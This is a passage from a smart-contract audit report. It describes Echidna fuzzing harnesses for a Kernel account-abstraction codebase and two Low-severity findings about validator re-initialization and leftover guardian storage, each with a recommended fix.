12.3 Kernel Account Abstraction: Greenfield Harnesses and Findings

Because the account-abstraction scope had no fuzzing, four standalone assertion-mode Echidna harnesses were built covering the P256 / WebAuthn signature-verification gates, the ECDSA and WebAuthn validator key-management set-once properties, and the `WeightedValidator` guardian storage lifecycle. Each harness was reviewed end-to-end (declared invariant → assertion body → the exact protocol function asserted) and executed under Echidna 2.3.2 (`-test-limit 50000 -shrink-limit 64 -workers 1`, seed `20260603`).

ID	Invariant (all net-new)	Result
G-18	P256 rejects high-`s` and out-of-range `s`	Correct, passing
G-19	P256 rejects invalid public keys (infinity, $\geq p$, off-curve)	Correct, passing
I-9	`WebAuthnValidator` key set-once, single slot, non-zero coords	Correct, passing
I-11	WebAuthn dummy / gas-estimation path never authorises an invalid signature	Correct, passing (EIP-7212 precompile branch unreachable in Echidna VM)
I-5	`ECDSAValidator` owner is set-once (no silent overwrite)	**Production violation reproduced**
7.4.15	`WeightedValidator` reinstall clears all prior guardian storage	**Production violation reproduced**

Table 14: Account-abstraction greenfield harness results

Campaign result. 200,155 calls across four harnesses, 18 assertion tests, **2 violations**.

Finding surfaced (I-5). `ECDSAValidator.onInstall` writes the owner *unconditionally* with no re-initialization guard, unlike `WebAuthnValidator`, which reverts `AlreadyInitialized`. Echidna falsified the set-once property with a minimal two-call counterexample (install, then install again), silently overwriting the registered owner. Reachability of a second `onInstall` on an already-initialized validator depends on the Kernel module-installation path; at minimum this is a defense-in-depth and consistency gap. Reported as Finding 7.4.15 (Low). **Recommendation:** add an `isInitialized(msg.sender)` guard to `ECDSAValidator.onInstall` that reverts `AlreadyInitialized`.

Finding surfaced (WeightedValidator). `WeightedValidator.onInstall` does not zero out guardian storage entries at indices that exceed the new guardian count when the validator is reinstalled. After an initial installation with N guardians followed by a reinstallation with $M < N$ guardians, `guardian(M, kernel)` through `guardian(N-1, kernel)` return the original guardians' addresses and weights. Echidna found and shrunk the violation to a minimal single call to `handler_reinstallOrphanCheck`, which internally performs a first install with 5 guardians followed by a reinstall with 4; the execution trace confirms that `guardian(4, kernel)` still returns the original fifth guardian's address and weight after reinstallation. Reported as Finding 7.4.15 (Low), which consolidates this gap with the `ECDSAValidator` issue above.

Deliverables

The fuzz harnesses, invariant contracts, and runner configuration are provided as part of the audit deliverable under `test/fuzzing/` (bond: the extended arachne harness; account abstraction: `FuzzP256.sol`, `FuzzECDSAValidator.sol`, `FuzzWebAuthnValidator.sol`, `FuzzWeightedValidator.sol`), together with the Echidna configuration files. These artefacts may be re-run by the client team to verify the results above and to extend coverage as the codebase evolves.